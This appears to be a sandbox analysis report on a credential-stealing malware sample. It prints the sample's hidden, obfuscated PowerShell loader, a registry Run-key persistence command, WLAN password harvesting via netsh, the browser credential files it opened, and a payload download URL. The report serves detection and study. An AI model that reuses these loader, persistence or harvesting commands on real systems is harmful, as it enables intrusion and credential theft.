Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process queried: DebugPort
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe base: 44E0000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe base: 327FDBC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe base: 4260000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe base: 2DBFB9C
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Udbygningerne230" /t REG_EXPAND_SZ /d "%Smreplse% -windowstyle minimized $Zayat=(Get-ItemProperty -Path 'HKCU:\Nonfanatical\').Injectors;%Smreplse% ($Zayat)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$skovridergaards=get-content 'c:\users\user\appdata\roaming\pitapats\gimmickry\passiveness\kdbjergenes\hlidhskjalf\mezuzot.epo';$articulations=$skovridergaards.substring(60455,3);.$articulations($skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$skovridergaards=get-content 'c:\users\user\appdata\roaming\pitapats\gimmickry\passiveness\kdbjergenes\hlidhskjalf\mezuzot.epo';$articulations=$skovridergaards.substring(60455,3);.$articulations($skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$skovridergaards=get-content 'c:\users\user\appdata\roaming\pitapats\gimmickry\passiveness\kdbjergenes\hlidhskjalf\mezuzot.epo';$articulations=$skovridergaards.substring(60455,3);.$articulations($skovridergaards)"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$skovridergaards=get-content 'c:\users\user\appdata\roaming\pitapats\gimmickry\passiveness\kdbjergenes\hlidhskjalf\mezuzot.epo';$articulations=$skovridergaards.substring(60455,3);.$articulations($skovridergaards)"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "udbygningerne230" /t reg_expand_sz /d "%smreplse% -windowstyle minimized $zayat=(get-itemproperty -path 'hkcu:\nonfanatical\').injectors;%smreplse% ($zayat)"
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "udbygningerne230" /t reg_expand_sz /d "%smreplse% -windowstyle minimized $zayat=(get-itemproperty -path 'hkcu:\nonfanatical\').injectors;%smreplse% ($zayat)"
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the product ID of Windows
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion DigitalProductId
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Uses netsh to modify the Windows network and firewall settings
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information
barindex
Yara detected PXRECVOWEIWOEI Stealer
Source: Yara match File source: 00000012.00000002.2217463796.000000002526E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2217463796.0000000025265000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Tries to harvest and steal WLAN passwords
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\places.sqlite
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key4.db
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\key3.db
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cookies.sqlite
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\cert9.db
Source: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\sp4c0p22.default-release\logins.json
Yara detected Credential Stealer
Source: Yara match File source: 00000012.00000002.2217463796.0000000024FBA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected PXRECVOWEIWOEI Stealer
Source: Yara match File source: 00000012.00000002.2217463796.000000002526E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2217463796.0000000025265000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS false
174.142.247.185
 crowninter.com Canada
32613 IWEB-ASCA false
23.221.242.90
 unknown United States
8612 TISCALI-IT false
104.16.185.241
 icanhazip.com United States
13335 CLOUDFLARENETUS false
104.21.71.78
 whatismyipaddressnow.co United States
13335 CLOUDFLARENETUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
whatismyipaddressnow.co 104.21.71.78 true
crowninter.com 174.142.247.185 true
ip-api.com 208.95.112.1 true
icanhazip.com 104.16.185.241 true
169.241.9.0.in-addr.arpa unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://crowninter.com/jAscfKcoNcxeCpbJ57.bin false
  • Avira URL Cloud: safe
 unknown
http://icanhazip.com/ false
    		high
    http://ip-api.com/line/?fields=hosting false
      		high